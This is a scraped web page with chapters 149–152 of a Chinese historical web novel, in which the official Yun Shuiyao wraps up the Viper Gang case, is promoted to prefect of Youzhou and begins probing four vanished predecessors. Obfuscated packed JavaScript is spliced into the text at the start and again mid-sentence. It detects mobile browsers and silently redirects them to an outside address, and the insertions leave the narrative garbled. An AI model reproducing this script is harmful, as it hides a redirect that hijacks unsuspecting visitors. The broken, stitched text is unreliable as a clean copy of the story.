l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951868|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错。” 事到如今,她只能继续圆谎。 秦度道:“可不可以请求皇上多给几个活命的名额,那些孩子都是无辜的。” “你们害死了太多人,本就会连坐家人,不太可能被赦免。你们所交代的事情,本官都记下了,会上报给大理寺。至于那两个活命的名额,本官还需斟酌一下。你们几个所说的事情都很有价值,本官一下子难以评判。” 听云水谣这样说,几个人犯都心怀希望。 云水谣吩咐把他们押回大牢,然后让书吏们整理他们的供词。 同时,三个帮主的画像都已经画了许多,云水谣请求杜羽和元景佑帮忙扩散到各州县,请各地的长官帮忙宣传。如果有苦主曾被骗钱,直接写诉状,由差役送到京城大理寺即可,就不必来雍州提供线索了。 杜羽、元景佑都有许多侍从,他们把这些画像交给各个侍从,侍从们便分别朝着各州县而去。 云水谣还把蝮蛇帮其他的头目整理成册,附上画像,让侍卫们一并带给其他州县的官员,请他们帮忙留意。 如果他们能抓到蝮蛇帮其他头目,也算大功一件,想必他们的积极性会比较高。 去仙女庙挖尸体的衙役们回来了,说确实挖到了方大娘的尸体。云水谣命人将方大娘的尸体安葬,并贴出告示说明方大娘命案的始末,以免其他人对方大娘之死有什么不好的猜测。 云水谣记起吴阿婆只剩下二十多天的寿命,向三个帮主索要吴阿婆的解药。 可三个帮主说,他们也没有解药,解药是由那位蒙面人定期交给他们,他们再派发给中了毒的下属的。 这么一来,吴阿婆估计是没有活命的希望了。 云水谣便提前把蝮蛇帮的几位头目,还有吴阿婆一起送到了大理寺,并附上案件的所有卷宗和几位头目的供状。 云水谣已经把大部分的事情审理清楚了,大理寺只需要追捕蝮蛇帮其他头目,并找到一些被蝮蛇帮骗过、还活着的苦主,作为人证即可。 毕竟蝮蛇帮的头目就算承认自己骗过某个人的钱,也要那个人自己站出来承认,罪名才能成立。 蝮蛇帮的案子,大理寺审了两个多月。虽然三个帮主和琼娘、佩儿等头目对于犯罪事实供认不讳,但蝮蛇帮毕竟是一个存在了十几年的组织,其涉案之广、涉事人员之多、涉及钱财之巨,都是令人难以想象的数字。 要把所有事情理清楚,两个多月还算快的。 期间,吴阿婆因为没有得到解药,已经去世。 蝮蛇帮的其他头目陆续被抓获,全国各地还活着的苦主,也都写好了诉状,送到了大理寺。 苦主们的说辞跟蝮蛇帮头目所说的一致,两相对照,蝮蛇帮犯罪事实已经清楚。 副帮主秦度虽然提及蝮蛇帮是由欧阳家的人暗中操控,也提供了一些证据,但欧阳家和福王试图通过自己的权势掩盖,将自己跟蝮蛇帮切割。 所以,欧阳家是否涉案,大理寺官员又查了许久,期间也遭到了许多阻碍。 149.倒台 但是,也有一些对欧阳家和福王深恶痛绝的朝堂势力在暗中帮助,最终,欧阳家就是蝮蛇帮幕后主使的事,尘埃落定。 欧阳家被夺爵抄家,成年男丁一律斩首,女眷为奴。定国公欧阳涵年老,准其在家自尽。 当今皇后是定国公欧阳涵之女,但此事并未牵连皇后。皇后欧阳氏并未被废,只是管理六宫之权被交给了德妃。 德妃安氏,是皇七子康王生母,太子的亲姨母,也是安正则的小姑姑。 这一局,太子一党大获全胜。 不过,福王仍旧没什么事,只是被罚三个月不许出门,不许会客。所有的罪名都被按在了欧阳家头上,皇帝对外宣称福王对此事一无所知。可见皇帝对继后母子,仍是十分偏袒的,不舍得重罚。 经此一事,皇后闭门不出,声势渐弱。 而大理寺官员在欧阳家的一个别院里,发现了大量的孩子。那些孩子身上都有着各种记号,经核实,是蝮蛇帮各头目的孩子。 这些孩子被发现时,神情呆滞,畏畏缩缩,见人就躲,显然是一直被虐待,还有一些直接就是傻.子,连话都不会说。 皇帝认为孩子无辜,并未下令处死他们,而是把他们都流放了。 直到此时,蝮蛇帮的头目才知道云水谣在说谎。之前云水谣所说的皇上只允许两个孩子活,只是她的策略,用于诈出蝮蛇帮的隐事。 但事已至此,他们也不怪云水谣,反而庆幸云水谣说的是谎话。他们的孩子都能活下去,他们也可以含笑赴死了。 蝮蛇帮这些年所敛的财富,是一个惊人的数字。这些钱财,除了归还还活着的苦主之外,剩下的充入了国库。 国库充盈,皇帝龙颜大悦。 因太子之前一直主张严查蝮蛇帮,才有今日的成果,皇帝对太子进行了嘉奖。 同时,云水谣作为办理此案的重要官员,立下了大功,也获得了赏赐。 太子趁机为云水谣请官,希望皇帝封她为幽州刺史,皇帝同意了。 任命书和赏赐同时到达,云水谣喜出望外。 传旨宦官道:“云大人,皇上命你到幽州后,查清前四位刺史失踪一案,上报朝廷。” 云水谣道:“臣遵旨。” 跟她升官的圣旨一同到的,还有另外两道圣旨。 一道是调游击将军杜羽镇守剑门关,即日起卸去雍州长史的职务,三日内出发。 一道是封镇国公世子元景佑为雍州长史,留在雍州任职。 接到圣旨后,元景佑有些惊讶,问传旨的宦官:“这位公公,皇上真的让我留在雍州任职?不是随云大人去幽州?” 宦官道:“圣旨不会有错,雍州物阜民丰,是个好地方,您留在这儿有什么不好?” 元景佑有些犹豫,但圣旨又不能不遵。 他看向了云水谣,云水谣虽然也有几分惊讶,但觉得皇上的安排对元景佑有益,便笑道:“你之前一直当我的侍卫,也不算什么正经官职,如今这雍州长史的职位倒适合你。而且你在雍州这么久了,对这里的情况比较熟悉,一定能游刃有余的。” 元景佑有些难过。他自从被云水谣所救,就没有长时间离开过她。他已经习惯了在云水谣身边,听她吩咐,默默保护她。 可是如今,两道圣旨就能将她们分割三千多里,元景佑这才意识到,自从他回归家族,他的命运就不完全是掌握在自己手中了。 相比于元景佑的惆怅,杜羽表面上倒是自在很多,对传旨的宦官笑道:“剑门关一向为西边的氐羌族所占,这是被收复了?” 宦官道:“是,伏波将军元无患刚收复剑门关不久,被封为果毅侯,圣上召他回来,让杜将军去镇守剑门关,抵御氐羌族。” 杜羽点头道:“元将军骁勇善战,真乃国之栋梁。不知他是否回京了?” “没有,皇上本来要让他回京休养的,但云大人刚调任为幽州刺史,皇上听说幽州那块不太平,便叫元将军往雍州这边来,护送云大人去幽州。等云大人在幽州安顿下来后,元将军再回京城。” 伏波将军元无患是元景佑的堂兄,云水谣听说他会来护送自己,顿时安下心来,觉得自己的安全不会有问题了。 而元景佑听闻堂兄收复失地,被封为侯,自然也十分欢喜,冲淡了分别的愁绪。 元景佑对云水谣道:“大人,有我堂兄保护您,比我更合适些。他久经沙场,身边也有许多能人异士。我也会把我身边的暗卫分您一半,让他们一直留在大人身边。” 云水谣点头:“嗯,你无需为我担心。” 传旨宦官道:“云大人,您先留在雍州,等元将军前来,您再跟元将军一起出发便是。杜将军前往剑门关,比较紧急,需在三日内出发。若是没什么事,咱家先走了。” 云水谣、元景佑等人皆道:“恭送公公。” 元景佑道:“云大人和杜将军都要离开雍州,就由我设宴,为两位践行吧。” 云水谣和杜羽都同意了。 元景佑在雍州最大的酒楼设宴,还邀请了顾刺史等一众官吏,一起为云水谣和杜羽践行。 众官吏都说了一些祝贺的话,云水谣一一回应,大方得体。 只是,她心里难免有些悲伤。她不但要跟元景佑、杜羽分开,也要跟顾刺史等人分开。 共事这么久,她对这些官吏都有感情。官吏们也作了几首诗,送别云水谣。拳拳不尽之意,尽在诗中。 顾刺史看着云水谣,欣慰地笑道:“云大人如今也要独当一面了。” 云水谣眼眶一热,道:“顾大人,我不会忘了你的。” “忘了我没关系,别忘记元景佑就行。” 云水谣一时语塞,没想到顾刺史会说出这种话,只好故作镇定。元景佑也有些脸红,连连咳嗽。 杜羽看着云水谣和元景佑二人,表情微妙。 元景佑道:“其实我……” 杜羽按住他的肩膀,强行给他灌了一杯酒:“元大人,这酒不错,多喝几杯。” 元景佑喝完了,又想说什么,杜羽接着给他灌酒。 酒席就在一种奇怪的氛围中结束了。 其他官吏离开后,元景佑单独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956963|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找云水谣,道:“云大人,明日我单独为你设宴,你一定要来。” 云水谣不知道该不该答应,元景佑已经默认她答应了,径自离开了。 他喝得太多,有些醉了,得赶紧回家休息。 云水谣手上还有一些公务没办完,需要交接给其他官吏,因此便回了一趟衙门。 柳依依正在整理卷宗,云水谣见了她,觉得幽州太过危险,不打算带她去,因此便说道:“依依,你还是留在雍州吧。幽州有些危险,你别跟我去了。” 柳依依道:“我本就是大人的下属,怎么能离开您?” “可你一向养尊处优,没吃过什么苦,怎么能跟我去幽州那种苦寒之地?” “难道大人以前不是养尊处优过来的吗?大人能去,我也能去。” “那你夫君那边不会有意见吗?” “他敢有意见?我们家都是我做主。” “哈哈,好吧。” “大人你放心吧,我那个夫君很好说话,我去哪里他就去哪里。” “可是幽州的条件毕竟比不上其他地方……” “我是去做事的,不是去享福的,这一点我有心理准备,大人不必为我担忧。” 见柳依依跟自己同心协力,云水谣也十分开心。 这时,女护卫徐二妞跑了进来,道:“大人,有人来为您送行。” “谁啊?” “您出去看看就知道了。” 云水谣走到县衙门口,见外面站着一百来个士兵。仔细一看,她们骨架比一般士兵小,五官也较为柔和细腻,竟是一群女兵。 云水谣有些惊喜道:“你们是洛县女兵营的女兵吗?” 这些女兵答道:“正是。”“大人,您收留了我们,还让我们成为女兵,有了安身立命之处,我们永远不会忘了您的恩情。”“您要去幽州,我们愿意随行。” 云水谣道:“你们归属于杜羽将军的金缕营,得听杜将军的号令。之前你们一直在洛县,应该不能轻易离开。” 有个领头的女兵道:“大人,就是杜将军让我们过来,跟随大人您的。” 云水谣喜道:“既然如此,那我就带你们去幽州吧。” 这些女兵都是以前百尺楼培养的预备杀手,还没成为正式杀手的时候,就被云水谣和孟荀救了出来。 所以她们并不是普通人,每个女兵的武功都很不错,云水谣可以把她们当暗卫用。 幽州虽然凶险,但自己能带这么多人去,还有伏波将军元无患护送,应该没问题了。 她让这些女兵先在州衙附近住下,让徐二妞照顾一下她们。徐二妞曾经也是她们中的一员,跟她们一起接受训练的。后来云水谣把徐二妞收为护卫,徐二妞这才跟其他女孩分开。 第二天一早,云水谣走出房门,见元景佑坐在庭院中。 云水谣笑道:“你怎么这么早?” “大人,说好今日单独宴请你的,现在走吗?” “你请人吃早饭啊?” 云水谣笑个不停,她头一次见到请客吃饭请的是早餐。 150.三餐 元景佑笑道:“当然不是,是吃午饭。因为那家饭馆风景不错,早点过去还能喝茶赏景,所以我才一大早来找您的。” “好吧,那走吧。” “大人还没吃早饭?我这里有个红糖馒头。” “拿给我,我要吃。” 元景佑从怀中拿出一个馒头,云水谣接了过去,几口就吃完了。 接着,云水谣就跟着元景佑离开。 元景佑选的饭馆叫福满楼,位于一个园林里面。两人骑马一个时辰,终于到了。 这家饭馆没有大厅,吃饭只能去雅间。雅间只有三个,也就是说,同时只能接待三批客人,一共不超过十人,可以说很小众了。 以前云水谣听说过这家饭馆,总想来吃一次,但总是预约不到时间。没想到现在能吃到了。 她和元景佑走进了其中一个雅间,推开窗户就能观赏园林美景,倒是令人心旷神怡。 云水谣看着风景,元景佑就看着她。 云水谣今日并未盛装打扮,只涂了一层薄薄的脂粉,脸庞就像羊脂玉一般。乌黑的发丝被风吹起,拂过云水谣的脸庞,也拂乱了元景佑的心。 云水谣突然想喝茶,回过头来,就发现了元景佑的目光。 她问道:“你在看什么?我脸上有食物残渣吗?” “没有。” 元景佑赶紧移开目光,给云水谣倒茶。 云水谣道:“也不知道我们下次再见,是什么时候。” “大人,我会想办法调到幽州去的。” “我觉得,你现在在雍州任职就挺好的,也没必要为了见面专门去幽州。顾刺史为人正直,又关心下属,你在他手下一定会有很好的发展。” 元景佑也知道,官职不是自己想换就能换的。以后能不能跟云水谣在一处为官,只能看运气。 元景佑递给云水谣一块古铜色的令牌,道:“大人,这是元家的令牌。元家的产业遍布全国,您持此令牌,可以随便号令元家店铺里的人。另外,我把我身边的暗卫分十五个给您,他们会一直保护您的。” 云水谣收下了令牌,笑道:“杜羽给我送了一百女兵,你又送了这么多暗卫,我不像是去幽州任职,倒像是去攻打幽州的。” 元景佑也笑了:“多带些人,有备无患。大人,你记得每天写一封信,飞鸽传书给我,这样我才知道您是安全的。” “不用这样吧?” “幽州凶险,此举很有必要。” “好吧。” 虽然云水谣觉得每天写信有点麻烦,但见到有人如此关心自己的安危,她还是很开心的。 元景佑道:“大人若是太忙,每天在信里写上‘平安’二字即可。” “那不行,我得多写一点,写上我想要什么,让你去买。等我下次回雍州时,再找你拿。” 元景佑眼神发亮:“大人有什么吩咐,只管在信中提及就是。” “哈哈,我跟你开玩笑的,我还能缺了什么不成?” “哦。” 元景佑的眼神又暗了下去。 过了一会,伙计们开始上菜。云水谣看见自己感兴趣的菜,就多吃几口。 而元景佑一直在吃云水谣不感兴趣的菜。 云水谣也没发觉,一边吃着,一边看窗外的美景,感叹道:“这个园林我还是第一次来,可惜以后很长时间见不着了。” 元景佑道:“大人等我一下。” 说着,他就离开了。云水谣也不知道他去干什么了。 过了一会,元景佑回来了,手里拿着一幅画,画上正是这个园林的景色。 元景佑道:“这家饭馆里悬挂着园林风景图,我向店家买下来了,大人可以把这幅画带着,随时观赏。” 云水谣有些惊喜:“谢谢……我也只是随口一说而已。” 云水谣觉得,自己随口说的话,元景佑都很上心。也许,自己在元景佑心里,真的很重要。 云水谣心里也不想跟元景佑分开,但她有更重要的事要做。她好不容易升官了,一定要抓住这个机会。 而元景佑在雍州有个正经官职,对他来说也是好事。 暂时的分开,是为了以后更好地重逢。也许下次重逢时,他们俩都是国之重臣了。 想到那样的场景,云水谣有些兴奋。 她小时候读书,只是因为感兴趣,也没想过自己能当女官,还当到刺史这个级别。 当然,刺史绝不会是她的终点,她一定会成为女相。 幽州纵然是龙潭虎穴,她也要去闯一闯。富贵险中求,她能把幽州治理好,将来升官就不在话下了。 她正在遐想,却听元景佑叫她:“大人,不能蘸那么多酱油。” 云水谣回过神来,发现自己把一块白切鸡放在酱油中,蘸了又蘸。本来蘸一两下就可以了,但她刚才在想别的事,不自觉地把这块鸡肉蘸了十几次酱油。 这鸡肉肯定咸了,不能吃了。 她笑了笑,便把这块鸡肉放在一边,不去吃了。 “谢谢你提醒。” “大人刚才走神了?在想什么?” “没什么……景佑,你父亲会给你安排相亲吗?” “啊?” 元景佑忽然脸红起来,道:“以前我爹有提过几次,但我拒绝了,他也就没再说起。他说希望我找一个自己喜欢的人成亲,他不会干涉太多。” “嗯。” 云水谣也不知道,自己为什么会问这种问题,显得有些唐突。 但她内心并不希望元景佑去相亲,得到这样的回复,她很开心。 她也不知道自己是怎么了。 吃完饭,云水谣有些犯困。正好窗台很宽敞,她如果趴着睡觉也是可以的,还能晒到太阳。 因此她便说道:“我小睡一会,你自便吧。” 元景佑微笑道:“那我陪着大人。” 云水谣趴在窗台上,很快就入睡了。她喜欢这种清风拂面、太阳照耀的感觉,心情非常放松。 元景佑把云水谣的斗篷拿过来,披在她身上。过了一会,他又怕云水谣冻着,把自己的鸭绒大氅也给云水谣披上了。 听着云水谣均匀的呼吸,他觉得很安心,便守在一边。 云水谣醒来时,发现元景佑就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960891|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守在自己身边,认真地看书。阳光照在他脸上,使他俊美的脸庞增加了几分光芒。 云水谣想起自己小时候,也曾趴在家里的窗台上睡觉。醒来时她会看见院子里的老槐树,也是这般沐浴在阳光下。槐树不动,树叶却反射着斑驳的光影,动中有静,岁月静好。 她现在看见元景佑时,竟会联想到自家院子里那棵老槐树……很奇怪的联想。 也不知道自己家现在怎么样了,听说自家的宅子已经被赏赐给了另一个大臣…… 那么那棵老槐树,自己再也见不到了…… 想着想着,云水谣忽然有些伤感。 元景佑见她醒了,也没说话,只是朝她微微一笑,便接着看书。 云水谣道:“你在看什么?” “《志怪集》,从旁边的书架上拿的。” “我也要看。” 元景佑把书递给她,她却摇了摇头:“你拿着,我来看。” “遵命。” 元景佑从第一页开始翻起,忖度着云水谣看完了,就继续往后翻。 这本书讲的是一些灵异神怪的故事,云水谣从小就喜欢这些,看得津津有味,一目十行。 也不知过了多久,终于看完了,云水谣才后知后觉地问元景佑:“你手酸吗?” “不酸。” 元景佑一直举着书,手自然不舒服,不过他不会告诉云水谣。 日头偏西,已经是晚饭时分,他们干脆在这里吃了晚饭,再结伴往外走。 元景佑忽然道:“真希望每天都能跟大人一起吃饭。” 云水谣笑道:“也许以后有机会吧。” 她突然发现,今天的三顿饭,都是跟元景佑一起吃的,真是难得的体验。 这种体验似乎也不错。 他们走到园林门口,正准备骑马回去,忽然有一队人马远远地过来,马上之人身姿矫健,很快就到了云水谣和元景佑的身侧。 这队人马路过他们时,忽然停了下来。 云水谣朝他们看去,见为首之人有几分眼熟,俊眼高鼻,气度矜贵,长得跟元景佑有几分相似,但比元景佑多了几分肃杀之气。 云水谣正在回忆此人是谁,元景佑已经朝马上之人行礼:“堂兄,你来了。” 云水谣这才想起,此人便是伏波将军元无患,元景佑的堂兄。他刚刚收复了剑门关,皇帝命他来护送云水谣去幽州,护送完毕后返回京城休养。 于是,云水谣也热情地打招呼:“元将军好。” 元无患点了点头,翻身下马,对元景佑道:“我本想去雍州衙门找你们,没想到在这儿遇上了。皇上命我护送云大人去幽州,明日就出发吧。” 元景佑道:“这么快?我以为堂兄还要好几天才到。” “我接到皇上的圣旨后,就快马加鞭赶过来了,一天也不敢耽搁。幽州那边缺长官,我想还是早点送云大人过去为好。” 云水谣道:“那就听元将军的,明日便出发。” 元景佑有些难过,他知道迟早要分别,但没想到这么快。 云水谣心中也有几分惆怅,但不能表现出来。 151.刺史 他们结伴回衙门,云水谣一马当先,走在前面。元景佑和元无患落后几步,并辔而行,既能聊聊天,也能在后面看着云水谣,确保她的安全。 元景佑问道:“堂兄在剑门关征战数月,可有受伤?” 元无患道:“受伤是免不了的,不过都是些皮外伤,现在也早就好得差不多了。” “还未恭喜堂兄封侯,不如堂兄在雍州逗留几日,让我宴请堂兄,聊表庆贺之意。” “庆祝什么时候都行,但公事不可耽搁,还是下次再一起吃饭吧。” “是。” 元景佑本想以此为借口,让元无患和云水谣多留几日,这下也落空了。 元无患看出他的失落,问道:“你跟云大人怎么样了?” “什么怎么样?” “你求婚成功了吗?” “啊?” 元景佑咳嗽了几声,差点从马上摔下来。 “堂兄……别胡说,我跟云大人只是上下级关系。她就在前面,要是被她听见就不好了。” “你这个人,怎么这么怂?我像你这么大的时候,孩子都两个了。” “我……我跟云大人之间……总之,还没到那一步。” “你怎么磨磨蹭蹭的,万一被别人抢先了怎么办?” “什么抢先?” “上次我来雍州时,见到了杜羽。我感觉那小子看云大人的眼神,可不算清白。” “这……不会的,我完全没看出来。” “你能看出来什么呀,傻得不行。总之,你要是对人家有意思呢,就早点说出口,别到时候鸡飞蛋打。” “云大人还要救她的家人,我想她暂时没心情考虑婚姻大事。” “就算没心情成亲,可以先订婚嘛。你小子,不会变通。要不要我来给你保媒?” “不不不……堂兄,我怕吓着她……总之,以后再说吧。” “你这小子,长得像女人就罢了,胆子还小,真不知道随了谁。” 元景佑不好意思地笑了笑,转移了话题:“堂兄,皇上怎么突然封我为雍州长史了?我以前一点风声都没听说啊。” “是我爹和其他几位叔伯跟皇上提了一嘴,说你身为国公府世子,竟没有正经官职,不太合适。皇上也早就有意封你个一官半职,就让你当雍州长史了。” “原来是这样,可我不愿意……” “你得有些远见。你总不能一辈子留在云大人身边,当个侍卫吧?你只有在官职、才能、政绩上都跟云大人匹配,那将来成亲时,才算般配。成亲之后,才能有更多共同语言。云大人心怀大志,肯定希望未来的夫婿能跟她一起治理国家。如果要保护她,几名暗卫就可以做到,你得去做一些更有价值的事。” 元景佑如醍醐灌顶,说道:“堂兄说的是,景佑受教。” 元无患拍了拍他的肩膀:“善自珍重吧。” 一行人很快回到了衙门。 云水谣来到自己的房间,检查行李。行李是早就收拾好了的,再检查一遍,看看有没有出错。 这时,暗卫甲风、乙木出现,对云水谣行礼道:“大人,安公子听说您即将去幽州赴任,又送了二十名暗卫来,由我们二人管辖。您尽管放心,有许多人在暗中保护您。” 云水谣笑道:“我的暗卫太多了。你说你们要是站在一棵树上,会不会站不下?” 甲风也笑了:“大人放心,我们有很多隐藏身形的方法,不会跟其他暗卫挤到的。” “那就行。” 第二天,云水谣便离开雍州,前往幽州。伏波将军元无患带领一队士兵护送云水谣。 云水谣也会骑马,为了加快赶路,她就没有坐马车,而是跟其他人一起骑马。 大约半个月后,她们到达了幽州。 在城门口迎接的是一个骑着大宛马的中年男子,看不出是什么官职,但见此人轻裘缓带,身姿挺拔,容颜俊雅,仙姿瑰逸,尽显文士风流,又不失大将气度。 只看一眼,便让人心生喜悦与敬仰之意。 他微微含笑,令人觉得和气;但双目灼灼,顾盼神飞,又让人不敢轻视。 在他身后,还站着一百多士兵,皆是军容严整,气度森然。 云水谣不认得这中年男子,不敢上前。 倒是她身侧的元无患驱马上前,笑着行了个军礼:“安将军,好久不见!您怎么也来了幽州?” 那中年男子回礼笑道:“圣上命我屯兵幽州,兼管幽州军政要务,以待下一任刺史到来。今日听闻新任刺史已到,我特来迎接,以后幽州的政务也可以尽数移交云大人了。” 云水谣这才明白,在幽州缺刺史的这段时间,一切大事都是由这位安将军主管的。 元无患对云水谣介绍道:“这位是骠骑将军、淇水伯安亭振,你叫他安将军便是。” 接着,元无患又指着云水谣,对安将军介绍:“这位是新上任的幽州刺史云水谣,本朝的三位女官之一。” 安将军拱手道:“云大人,幸会。” 云水谣问道:“安将军可是安正则公子的亲人吗?” 安亭振道:“正是,我是他六叔。云大人认识正则?” “是,之前见过几面。” 元无患道:“之前安公子眼盲一案,还是云大人查清的。亭振公一直领兵在外,所以没听说过。” 安亭振了然道:“原来如此,我已经三年未回京师,对家里的事不太清楚。小侄遇刺一事,还要多些云大人帮忙调查。” 云水谣赶紧说道:“安将军何必客气,这是下官分内之事。” 元无患对安将军说道:“既然有安将军在此,下官就先回京城复命了。” 安亭振点头:“元将军请自便,我会派一队精兵保护云刺史的,断然不会让她再遭不测。” 元无患拱手:“有劳安将军。” 说着,元无患就带着自己的士兵离开了。 他和安亭振都是军人,没那么多繁文缛节。安亭振知道他急着回京,也没有留他吃饭休息这样的虚礼。 元无患离开后,安亭振对云水谣道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967338|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “云大人,我代管幽州期间,大部分琐事都是由幽州长史和幽州司马办理,我只负责一些重大决策。在公务上若有什么问题,问长史和司马会清楚些。如果有什么需要我帮忙的,可以来城东的灞桥营找我。” “好的,下官明白了。” “另外,这三十名士兵是我营中的精兵,武艺高强,为人机警,如今调到你身边保护你。无论在什么情况下,都要保证他们在你身侧。” 安亭振手一挥,就有三十名头上绑着红色抹额的士兵上前。这些士兵对云水谣行了个军礼:“见过刺史大人。” 云水谣欠身,对安亭振道:“多谢安将军好意,我会随时带着这些士兵,不会落单的。” “那就好,我先回军营了。” 安亭振说走就走,立刻调转马头,带领剩下的士兵离开。 一会功夫,就不见他们的人影了。 云水谣带着这三十名士兵进了城。 她先来到幽州衙门,长史吕民杰和司马张呈祥已经在门口迎接。 长史吕民杰是个瘦高的中年人,面白微须,看起来有些严肃。 司马张呈祥是个又高又胖、面相和善的中年人,长得五大三粗,但面上自带三分笑意,倒也不可怕。 长史吕民杰道:“这位就是新任刺史云大人吗?卑职幽州长史吕民杰,另一位是幽州司马张呈祥,特来迎接大人。本来应该去城门口迎接,但卑职等打听到安将军已经去迎接了,我等正好公务繁忙,就没过去,还请大人勿怪。” 云水谣道:“无妨,先带本官进去看看。” 长史、司马等官吏带着云水谣进去。云水谣见公廨里摆满了公文,很多毛笔、砚台乱放,一些小吏忙着低头做事,见云水谣来了,也只是匆匆打个招呼,就继续埋头批阅公文了。 由此可知,这些官吏确实都挺用心的。云水谣自然也不会在礼节上苛求他们。 司马张呈祥笑道:“之前幽州缺刺史,我和吕长史每天都很忙。现在云大人来了,我们可以分一些公务给您了。” 云水谣笑道:“可以啊,不过皇上命我先查前几任刺史失踪一事。等此事一了,本官就能处理其他公务了。” 见云水谣提起此事,司马、长史二人皆是神色凝重,在场的小吏也互相对望,窃窃私语,没心思继续批阅公文了。 云水谣知道,一州连失四位刺史,兹事体大,确实搞得人心惶惶的。 云水谣对众小吏道:“你们忙你们的,不用担心其他事。长史和司马跟我进来。” 云水谣走进了内室,打算询问一下之前四任刺史失踪一事。 长史吕民杰道:“大人,关于前四位刺史失踪的卷宗,都在这个房间了,我拿给您看。” 吕民杰和张呈祥拿来一大堆卷宗。 云水谣道:“等本官看完了,再询问你们一些细节。” 吕长史和张司马对视了一眼,欲言又止。 云水谣觉得他们似乎有话要说,但她打算先看完卷宗再问。 于是,她从头开始翻阅卷宗。 152.搜屋 第一位失踪的刺史,叫陆文远,出自关东陆氏,是齐国公陆陟之弟,今年五十二岁。 他在幽州担任刺史七年,但在年初忽然失踪,最后出现的地点是一间茶楼。 第二位失踪的刺史叫林益恭,他本是幽州长史,在第一任陆刺史失踪后,朝廷任命他接任刺史之位。 结果,一个月之后,他也失踪了。他是在晚上被人掳走的。 他也是世家子弟,是平国公林楚招之子,今年五十岁。 云水谣问道:“林益恭跟林益敬是什么关系?” 长史吕民杰答道:“林益恭是林益敬的大哥,他们俩都是平国公之子。” 云水谣点了点头。说起来,她跟林家还算有点渊源。 之前她在当洛县县令时,林益敬作为监察御史,还来巡视过洛县,对她诸多为难。 后来,云水谣发现,镇国公世子元澄跟林益敬长得有九分相似,元澄实际上是林益敬的私生子。而元景佑才是镇国公的亲生儿子。 当时,元澄和林益敬父子还多次雇佣百尺楼的杀手,刺杀元景佑。后来东窗事发,两人都被流放。又过了几个月,元澄死在了流放地,而林益敬还活着,但估计也过得不太好。 没想到,如今林益敬的大哥又失踪在幽州。 云水谣接着看下面的卷宗。 第三任失踪的刺史,叫赵仁顺,本是驻扎在幽州的将军。前两任刺史失踪后,皇帝便任命他为第三任刺史。他就在幽州,上任也十分方便。 没想到,仅过了两个月,赵刺史也失踪了。 第四任失踪的刺史,叫董商衡,今年四十岁。他本是礼部侍郎,因为人孤高,愤世嫉俗,喜欢写诗讥讽他人,据说是得罪了朝中权贵,被外放到幽州做刺史。 结果不到一个月,他也失踪了。 后来,无人敢来幽州做刺史,刺史之位空缺许久。 皇上命骠骑将军安亭振屯兵幽州,代管幽州军政要务,但不领幽州刺史之职。 此后,总算没再出事,直到云水谣到来。 云水谣疑惑道:“幽州刺史接连失踪,可有查出什么线索?” 长史吕民杰道:“没有。后面几位刺史,都曾经调查过前任刺史失踪一事,结果不但没查清,反而连自己也失踪了,实在有些邪门。” 司马张呈祥道:“如今幽州城内议论纷纷,都说死刺史带走活刺史的传闻是真的。虽说子不语怪力乱神,但接连发生失踪案,也不得不让人作此联想。” 云水谣问:“什么叫‘死刺史带走活刺史’?” 张呈祥道:“大人有所不知,在陆刺史之前的一任刺史,叫耿藏山。他能力不足,但据说靠一路打点关系,做到了幽州刺史。但是自他上任后,幽州灾祸连连,不仅瘟疫横生,还经常有百姓造反,到后来连赋税都收不齐。 皇上几次下旨斥责,耿刺史察觉到皇上似乎想贬他的官,因此便决定继续打点,请朝中重臣为他说好话。这一次,他找的门路是陆文远。陆文远是齐国公之弟,也在朝中担任要职,耿刺史觉得,只要有他帮忙,保住官职不在话下。 可没想到,陆文远收了礼后,竟直接把礼物和银票拿给皇上看,说幽州刺史耿藏山行贿。陆文远还拿出了耿刺史的其他罪证,比如贪污腐败、经常行贿等等。皇上震怒,削去了耿刺史的官职,将他全家流放,并任命陆文远为新任幽州刺史。 耿藏山在流放路上,听说了自己为什么会被流放,气得吐血。他觉得自己送礼给陆文远,陆文远不帮忙就算了,竟然把这件事情揭发出来,落井下石,还自己担任了幽州刺史,这是踩着耿藏山往上爬。 耿藏山不想着自己的不是,反而非常记恨陆文远。流放路上,耿藏山几个年幼的儿女都相继死去,耿藏山也撑不住了,没过几天就死了。 临死之前,他发出诅咒:谁占了幽州刺史的位置,谁就会下场凄惨。 